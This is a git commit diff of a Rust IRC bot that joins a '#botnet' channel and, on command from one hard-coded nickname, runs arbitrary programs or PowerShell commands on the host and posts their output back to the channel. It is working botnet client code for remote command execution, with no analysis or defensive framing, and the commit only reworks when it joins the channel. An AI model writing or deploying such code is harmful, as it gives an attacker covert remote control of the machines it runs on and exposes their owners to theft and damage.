join with keys
This commit is contained in:
parent
54b29b8e82
commit
06e54075a8
88
src/main.rs
88
src/main.rs
@ -17,7 +17,7 @@ async fn main() -> Result<(), failure::Error> {
|
|||||||
let mut client = Client::from_config(config).await?;
|
let mut client = Client::from_config(config).await?;
|
||||||
client.identify()?;
|
client.identify()?;
|
||||||
|
|
||||||
client.send_join_with_keys::<&str, &str>("#botnet", "fuckyou")?;
|
|
||||||
|
|
||||||
let mut stream = client.stream()?;
|
let mut stream = client.stream()?;
|
||||||
let sender = client.sender();
|
let sender = client.sender();
|
||||||
@ -25,62 +25,68 @@ async fn main() -> Result<(), failure::Error> {
|
|||||||
while let Some(message) = stream.next().await.transpose()? {
|
while let Some(message) = stream.next().await.transpose()? {
|
||||||
print!("{}", message);
|
print!("{}", message);
|
||||||
|
|
||||||
if let Command::PRIVMSG(ref target, ref msg) = message.command {
|
match message.command {
|
||||||
if msg.starts_with("!") && message.source_nickname().unwrap() == "blackbeard420" {
|
Command::PRIVMSG(ref target, ref msg) => {
|
||||||
if &msg[1..5] == "exec" {
|
if msg.starts_with("!") && message.source_nickname().unwrap() == "blackbeard420" {
|
||||||
let mut args = msg.split_ascii_whitespace().skip(1);
|
if &msg[1..5] == "exec" {
|
||||||
|
let mut args = msg.split_ascii_whitespace().skip(1);
|
||||||
|
|
||||||
let mut cmd = process::Command::new(args.nth(0).unwrap());
|
let mut cmd = process::Command::new(args.nth(0).unwrap());
|
||||||
|
|
||||||
for x in args {
|
for x in args {
|
||||||
cmd.arg(x);
|
cmd.arg(x);
|
||||||
|
}
|
||||||
|
|
||||||
|
println!("{:?}", cmd);
|
||||||
|
|
||||||
|
let out = cmd.output().unwrap();
|
||||||
|
|
||||||
|
let output = String::from_utf8_lossy(&out.stdout).to_string();
|
||||||
|
|
||||||
|
let s = sender.clone();
|
||||||
|
|
||||||
|
let t = target.to_string();
|
||||||
|
|
||||||
|
tokio::spawn(async move {
|
||||||
|
send_message(s, t, output).await
|
||||||
|
});
|
||||||
}
|
}
|
||||||
|
|
||||||
println!("{:?}", cmd);
|
if &msg[1..2] == "p" {
|
||||||
|
let mut cmd = process::Command::new("powershell");
|
||||||
|
|
||||||
let out = cmd.output().unwrap();
|
cmd.arg("-command");
|
||||||
|
cmd.arg(&msg[3..]);
|
||||||
|
|
||||||
let output = String::from_utf8_lossy(&out.stdout).to_string();
|
println!("{:?}", cmd);
|
||||||
|
|
||||||
let s = sender.clone();
|
|
||||||
|
|
||||||
let t = target.to_string();
|
|
||||||
|
|
||||||
tokio::spawn(async move {
|
|
||||||
send_message(s, t, output).await
|
|
||||||
});
|
|
||||||
}
|
|
||||||
|
|
||||||
if &msg[1..2] == "p" {
|
|
||||||
let mut cmd = process::Command::new("powershell");
|
|
||||||
|
|
||||||
cmd.arg("-command");
|
|
||||||
cmd.arg(&msg[3..]);
|
|
||||||
|
|
||||||
println!("{:?}", cmd);
|
|
||||||
|
|
||||||
|
|
||||||
let out = cmd.output().unwrap();
|
let out = cmd.output().unwrap();
|
||||||
|
|
||||||
let outerr = String::from_utf8_lossy(&out.stderr).to_string();
|
let outerr = String::from_utf8_lossy(&out.stderr).to_string();
|
||||||
let output = String::from_utf8_lossy(&out.stdout).to_string();
|
let output = String::from_utf8_lossy(&out.stdout).to_string();
|
||||||
|
|
||||||
let s = sender.clone();
|
let s = sender.clone();
|
||||||
|
|
||||||
let t = target.to_string();
|
let t = target.to_string();
|
||||||
|
|
||||||
tokio::spawn(async move {
|
tokio::spawn(async move {
|
||||||
send_message(s, t, outerr).await
|
send_message(s, t, outerr).await
|
||||||
});
|
});
|
||||||
|
|
||||||
let s = sender.clone();
|
let s = sender.clone();
|
||||||
let t = target.to_string();
|
let t = target.to_string();
|
||||||
|
|
||||||
tokio::spawn(async move {
|
tokio::spawn(async move {
|
||||||
send_message(s.clone(), t, output).await
|
send_message(s.clone(), t, output).await
|
||||||
});
|
});
|
||||||
|
}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
Command::MOTD(ref _motd) => {
|
||||||
|
client.send_join_with_keys::<&str, &str>("#botnet", "fuckyou")?;
|
||||||
|
}
|
||||||
|
_ => {}
|
||||||
}
|
}
|
||||||
}
|
}
|
||||||
|
|
||||||
|
Loading…
x
Reference in New Issue
Block a user